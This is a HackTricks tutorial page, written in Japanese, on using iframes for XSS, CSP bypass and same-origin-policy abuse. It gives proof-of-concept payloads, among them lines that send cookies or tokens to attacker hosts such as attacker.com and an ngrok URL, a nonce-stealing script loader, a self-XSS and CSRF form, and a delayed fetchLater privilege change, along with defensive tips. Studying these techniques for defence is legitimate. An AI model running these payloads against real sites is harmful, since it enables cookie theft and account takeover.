Iframes in XSS, CSP and SOP

Reading time: 17 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Iframes in XSS

iframedページのコンテンツを示す方法は3つあります：

  • srcを介してURLを示す（URLはクロスオリジンまたは同一オリジンである可能性があります）
  • data:プロトコルを使用してコンテンツを示すsrcを介して
  • コンテンツを示すsrcdocを介して

親と子の変数へのアクセス

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

前のHTMLにHTTPサーバー（例えばpython3 -m http.server）を介してアクセスすると、すべてのスクリプトが実行されることに気付くでしょう（CSPがそれを防いでいないため）。親は任意のiframe内のsecret変数にアクセスできませんが、if2とif3のiframe（同一サイトと見なされる）は、元のウィンドウの秘密にアクセスできます。
if4はnullオリジンと見なされることに注意してください。

CSPを持つiframe

tip

次のバイパスでは、iframeページへのレスポンスにJS実行を防ぐCSPヘッダーが含まれていないことに注意してください。

script-srcのself値は、data:プロトコルやsrcdoc属性を使用してJSコードの実行を許可しません。
しかし、CSPのnone値であっても、src属性にURL（完全なものまたはパスのみ）を指定したiframeの実行は許可されます。
したがって、次のようにページのCSPをバイパスすることが可能です：

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

前のCSPはインラインスクリプトの実行のみを許可しています。
しかし、if1とif2のスクリプトのみが実行されますが、if1のみが親の秘密にアクセスできるようになります。

したがって、サーバーにJSファイルをアップロードし、script-src 'none'であってもiframeを介してロードできる場合、CSPをバイパスすることが可能です。これは同じサイトのJSONPエンドポイントを悪用することで実行できる可能性もあります。

次のシナリオでテストできます。ここでは、script-src 'none'であってもクッキーが盗まれます。アプリケーションを実行し、ブラウザでアクセスしてください：

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

新しい (2023-2025) CSP バイパス技術と iframe

研究コミュニティは、制限的なポリシーを打破するために iframe を悪用する創造的な方法を発見し続けています。以下は、過去数年間に発表された最も注目すべき技術です：

  • ダングリングマークアップ / 名前付き iframe データ抽出 (PortSwigger 2023) – アプリケーションが HTML を反映するが、強力な CSP がスクリプトの実行をブロックする場合、ダングリング <iframe name> 属性を注入することで、機密トークンを漏洩させることができます。部分的なマークアップが解析されると、別のオリジンで実行されている攻撃者のスクリプトがフレームを about:blank にナビゲートし、window.name を読み取ります。これには次の引用文字までのすべてが含まれます（例えば CSRF トークン）。被害者のコンテキストでは JavaScript が実行されないため、攻撃は通常 script-src 'none' を回避します。最小限の PoC は次の通りです：
html
<!-- 機密の <script> の直前の注入ポイント -->
<iframe name="//attacker.com/?">  <!-- 属性は意図的に開いたまま -->
javascript
// attacker.com フレーム
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → 漏洩した値
  • 同一オリジン iframe を介したノンスの盗難 (2024) – CSP ノンスは DOM から削除されず、DevTools で単に隠されます。攻撃者が 同一オリジン iframe を注入できる場合（例えば、HTML をサイトにアップロードすることによって）、子フレームは単に document.querySelector('[nonce]').nonce をクエリし、ポリシーを満たす新しい <script nonce> ノードを作成することができ、strict-dynamic があっても完全な JavaScript 実行が可能になります。次のガジェットは、マークアップ注入を XSS にエスカレートさせます：
javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • フォームアクションのハイジャック (PortSwigger 2024) – form-action ディレクティブを省略したページは、注入された iframe またはインライン HTML からログインフォームを 再ターゲット される可能性があり、パスワードマネージャーが自動的に資格情報を外部ドメインに入力して送信します。たとえ script-src 'none' が存在してもです。常に default-src を form-action で補完してください！

防御ノート (クイックチェックリスト)

  1. 二次コンテキストを制御する すべての CSP ディレクティブ（form-action、frame-src、child-src、object-src など）を常に送信してください。
  2. ノンスが秘密であることに依存しないでください—strict-dynamic と 注入ポイントを排除してください。
  3. 信頼できないドキュメントを埋め込む必要がある場合は、sandbox="allow-scripts allow-same-origin" を非常に注意して 使用してください（または、スクリプト実行の隔離のみが必要な場合は allow-same-origin なしで）。
  4. 深層防御の COOP+COEP デプロイを検討してください；新しい <iframe credentialless> 属性（§ 以下）は、サードパーティの埋め込みを壊すことなくそれを実現できます。

野生で見つかったその他のペイロード

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

iframe内のコンテンツは、sandbox属性を使用することで追加の制限を受けることがあります。デフォルトでは、この属性は適用されず、制限はありません。

使用されると、sandbox属性はいくつかの制限を課します：

  • コンテンツは、独自のソースからのものであるかのように扱われます。
  • フォームの送信を試みることはブロックされます。
  • スクリプトの実行は禁止されます。
  • 特定のAPIへのアクセスが無効になります。
  • リンクが他のブラウジングコンテキストと相互作用することを防ぎます。
  • <embed>、<object>、<applet>、または類似のタグを介したプラグインの使用が禁止されます。
  • コンテンツ自体によるトップレベルのブラウジングコンテキストのナビゲーションが防止されます。
  • 自動的にトリガーされる機能、例えばビデオ再生やフォームコントロールの自動フォーカスがブロックされます。

Tip: 現代のブラウザは、allow-scripts、allow-same-origin、allow-top-navigation-by-user-activation、allow-downloads-without-user-activationなどの細かいフラグをサポートしています。これらを組み合わせて、埋め込まれたアプリケーションに必要な最小限の機能のみを付与します。

属性の値は空のまま（sandbox=""）にして、前述のすべての制限を適用できます。あるいは、特定の値のスペース区切りリストに設定して、iframeが特定の制限から免除されるようにすることもできます。

html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Credentialless iframes

この記事で説明されているように、iframeのcredentiallessフラグは、リクエストに資格情報を送信せずにiframe内にページをロードするために使用され、iframe内でロードされたページの同一オリジンポリシー（SOP）を維持します。

Chrome 110（2023年2月）以降、この機能はデフォルトで有効になっており、仕様はanonymous iframeという名前の下でブラウザ間で標準化されています。MDNはこれを次のように説明しています：「実際のオリジンと共有されないように、第三者のiframeを新しい一時的なストレージパーティションにロードするメカニズム」。攻撃者と防御者への影響：

  • 異なるcredentialless iframe内のスクリプトは同じトップレベルのオリジンを共有し、DOMを介して自由に相互作用できるため、マルチiframe自己XSS攻撃が可能になります（以下のPoCを参照）。
  • ネットワークが資格情報を削除されているため、iframe内のリクエストは実質的に認証されていないセッションとして振る舞います – CSRF保護されたエンドポイントは通常失敗しますが、DOMを介して漏洩可能な公開ページは依然として範囲内です。
  • credentialless iframeから生成されたポップアップは暗黙的にrel="noopener"を取得し、一部のOAuthフローを破壊します。
javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • 攻撃の例: Self-XSS + CSRF

この攻撃では、攻撃者は2つのiframeを持つ悪意のあるウェブページを準備します:

  • credentiallessフラグを持つ被害者のページを読み込むiframeと、XSSをトリガーするCSRF (ユーザーのユーザー名にSelf-XSSを想像してください):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • 実際にユーザーがログインしている別のiframe ( credentiallessフラグなし)。

その後、XSSからは同じSOPを持つ他のiframeにアクセスでき、例えばクッキーを盗むことができます:

javascript
alert(window.top[1].document.cookie);

fetchLater 攻撃

この記事に示されているように、API fetchLater はリクエストを後で実行するように設定することを可能にします（一定の時間後）。したがって、これを悪用して、例えば、攻撃者のセッション内で被害者をログインさせ（Self-XSSを使用）、fetchLater リクエストを設定し（例えば、現在のユーザーのパスワードを変更するため）、攻撃者のセッションからログアウトすることができます。その後、被害者は自分のセッションにログインし、fetchLater リクエストが実行され、被害者のパスワードが攻撃者によって設定されたものに変更されます。

このように、被害者のURLがiframe内で読み込めなくても（CSPやその他の制限のため）、攻撃者は依然として被害者のセッション内でリクエストを実行することができます。

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

SOPにおけるIframes

以下のページを確認してください:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

参考文献

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする